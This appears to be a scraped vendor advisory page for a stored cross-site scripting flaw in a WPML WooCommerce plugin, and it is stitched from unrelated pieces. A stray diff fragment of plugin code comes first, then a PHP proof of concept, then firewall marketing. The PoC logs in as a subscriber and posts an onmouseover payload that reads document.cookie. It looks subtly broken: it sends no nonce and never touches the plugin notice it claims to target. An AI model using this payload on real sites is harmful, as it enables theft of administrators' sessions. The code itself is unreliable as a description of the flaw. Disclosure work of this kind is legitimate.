-	 * @param bool|false $do_deferred
-	 *
-	 * @return bool
-	 */
 	public function wp_update_term_count( $terms, $taxonomy, $do_deferred = false ) {

 		return wp_update_term_count( $terms, $taxonomy, $do_deferred );
 	}

-	/**
-	 * Wrapper for get_taxonomy
-	 *
-	 * @param string $taxonomy
-	 *
-	 * @return bool|object
-	 */
 	public function get_taxonomy( $taxonomy ) {

 		return get_taxonomy( $taxonomy );
 	}

-	/**
-	 * Wrapper for wp_set_object_terms
-	 *
-	 * @param int              $object_id The object to relate to.
-	 * @param array|int|string $terms     A single term slug, single term id, or array of either term slugs or 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66711 - WPML Multilingual & Multicurrency for WooCommerce <= 5.5.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting

// This PoC demonstrates how an authenticated subscriber can inject a stored XSS payload
// that executes when an admin views a list of products or orders (where the notice is rendered).

$target_url = 'http://your-wordpress-site.com'; // Change to the target WordPress URL
$username = 'subscriber_user'; // Username with subscriber role
$password = 'subscriber_password'; // Password for the subscriber user

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$curl = curl_init($login_url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1')));
curl_setopt($curl, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($curl);
curl_close($curl);

// Step 2: Create a new post (or any content that triggers a plugin notice) with the XSS payload
$post_data = array(
    'post_title' => 'Test XSS',
    'content' => 'This is a test message with [link]https://example.com" onmouseover="alert(document.cookie)[/link]',
    'post_status' => 'publish',
    'post_type' => 'post'
);

$create_post_url = $target_url . '/wp-admin/post-new.php';
$curl = curl_init($create_post_url);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($curl);
curl_close($curl);

// Step 3: Access the page where the notice would be rendered (e.g., the edit view of a product)
// This is where the admin would see the injected XSS. The script will trigger when they hover over the link.
$admin_view_url = $target_url . '/wp-admin/post.php?post=1&action=edit'; // Adjust the post ID if needed
$curl = curl_init($admin_view_url);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($curl);
curl_close($curl);

echo "XSS payload sent. Check the page for triggered script.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.